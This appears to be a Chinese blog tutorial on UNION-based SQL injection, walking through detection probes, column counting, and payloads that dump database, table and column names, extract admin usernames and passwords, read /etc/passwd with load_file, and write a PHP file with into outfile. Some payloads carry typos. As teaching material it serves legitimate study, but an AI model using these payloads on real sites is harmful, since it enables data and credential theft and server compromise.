SQL注入——聯合查詢注入

0x01 SQL注入的原理
針對SQL注入的攻擊行爲可描述爲通過用戶可控參數中注入SQL語法,破壞原
有SQL結構,達到編寫程序時意料之外結果的攻擊行爲。其成因可以歸結外一下
兩個原因疊加造成的:
1、程序編寫者在處理程序和數據庫交互時,使用字符串拼接的方式構造SQL語句
2、未對用戶可控參數進行足夠的過濾便將參數內容拼接進入到SQL語句中。
0x02 SQL注入的分類
一、根據注入點數據類型
1.整型注入

在 Web 端大概是 http://xxx.com/news.php?id=1 這種形式,其注入點 id
類型爲數字,所以叫數字型注入點。這一類的 SQL 語句原型大概爲 select * from 表名 where
id=1。組合出來的sql注入語句爲:select * from news where id=1 and 1=1

2.字符串型注入

在 Web 端大概是 http://xxx.com/news.php?name=admin 這種形式,其注入點 name
類型爲字符類型,所以叫字符型注入點。這一類的 SQL 語句原型大概爲 select * from 表名 where
name=‘admin’。注意多了引號。組合出來的sql注入語句爲:select * from news where chr=‘admin’
and 1=1 ’ ’

閉合單引號chr=‘admin’ union select 1,2,3,4 and ‘1’='1 ====>
chr=‘admin’(閉合前面單引號) union select 1,2,3,4 and ‘1’=‘1’

3.搜索型注入

這是一類特殊的注入類型。這類注入主要是指在進行數據搜索時沒過濾搜索參數,一般在鏈接地址中有“keyword=關鍵字”,有的不顯示在的鏈接地址裏面,而是直接通過搜索框表單提交。此類注入點提交的
SQL 語句,其原形大致爲:select * from 表名 where 字段 like ‘%關鍵字%’。

組合出來的sql注入語句爲:select * from news where search like ‘%測試 %’ and
‘%1%’=’%1%’

測試%’ union select 1,2,3,4 and ‘%’=’

區分標準:SQL語句中查詢條件的數據類型

二、根據注入的語法分類
1.聯合查詢注入:可以使用union的情況下的注入。
2.報錯型注入:即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
3.布爾型注入:即可以根據返回頁面判斷條件真假的注入。
4.基於時間延遲注入:即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
5.可多語句查詢注入(寬字節注入):可以同時執行多條語句的執行時的注入,也叫堆查詢注入。

0x02 聯合查詢注入的條件
(速度最快)
1.存在注入點
2.有顯示位
0x03 聯合查詢注入步驟
一、判斷注入類型

  1. and 1=1 / and 1=2 回顯頁面不同(整型判斷)
  2. 單引號判斷 ’ 顯示數據庫錯誤信息或者頁面回顯不同(整型或字符串類型判斷)
  3. \(轉義符)
  4. -1 / +1回顯下一個或上一個頁面(整型判斷)
  5. and sleep(5) (判斷頁面返回時間)

二、判斷字段數
order by 10
……
使用二分法判斷

三、判斷顯示位

php?id=-1 union select 1,2,3,4,5

php?id=-1 union select null,null,null,null,null

php?id=-1 union select (1),(2),(3),(4),(5)

四、獲取當前數據庫名稱和當前連接數據庫用戶

php?id=-1 union select 1,2,database(),4,5

php?id=-1 union select 1,2,user(),4,5

五、列出所有數據庫
使用limit一個一個的打印出來庫名

select schema_name from infromation_schema.schemata limit 0,1

使用group_concat()一次性顯示全部

說明:group_concat()函數可在一行顯示所有查詢結果。
concat_ws(分隔符,str1,str2,……)函數可以同時顯示多個字段,並以 分隔符 分開。
concat(str1,str2,str3,…)函數可以同時顯示多個字段,其中有一個字段爲null,則返回null。

select group_concat(schema_name) from information_schema.schemata

六、列出數據庫中所有的表
通過limit一個一個打印出來

select table_name from information_schema.tables where table_schema='數據庫名' limit 0,1

通過group_concat()函數一次性全部顯示

select group_concat(table_name) from information_schema.tables where table_schema = '數據庫名'

注意:數據庫名稱可以用十六進制來代替字符,這樣可以繞過限制

七、列出所有字段(數據庫:test 表:admin)
limit一個一個的打印出來

select column_name from information_schema.columns where table_schema='test' and table_name='admin' limit 0,1

group_concat()一次性全部顯示

select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='admin'

八、列出數據(數據庫:test 表:admin)
limit一個一個打印出來

selec username,passwd from test.admin limit 0,1

group_concat()一次性全部顯示

select group_concat(concat(username,0x20,passwd)) from test.admin

0x20-->空格

0x04 MySQL讀寫文件函數利用

load_file() 函數
讀文件操作
前提:

  • 知道文件絕對路徑

  • 能夠使用union查詢

  • 對web目錄有寫權限

    union select 1,load_file(’/etc/passwd’),3,4,5,6#
    union select 1,load_file(十六進制代碼),3,4,5,6#

into outfile()
寫文件操作
前提:

  • 文件名必須全路徑(局對路徑)

  • 用戶必須有寫文件的權限

  • 沒有對 ’ 單引號過濾

    selec ‘<?php phpinfo();?>’ into outfile ‘c:\windows\tmp\1.php’

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章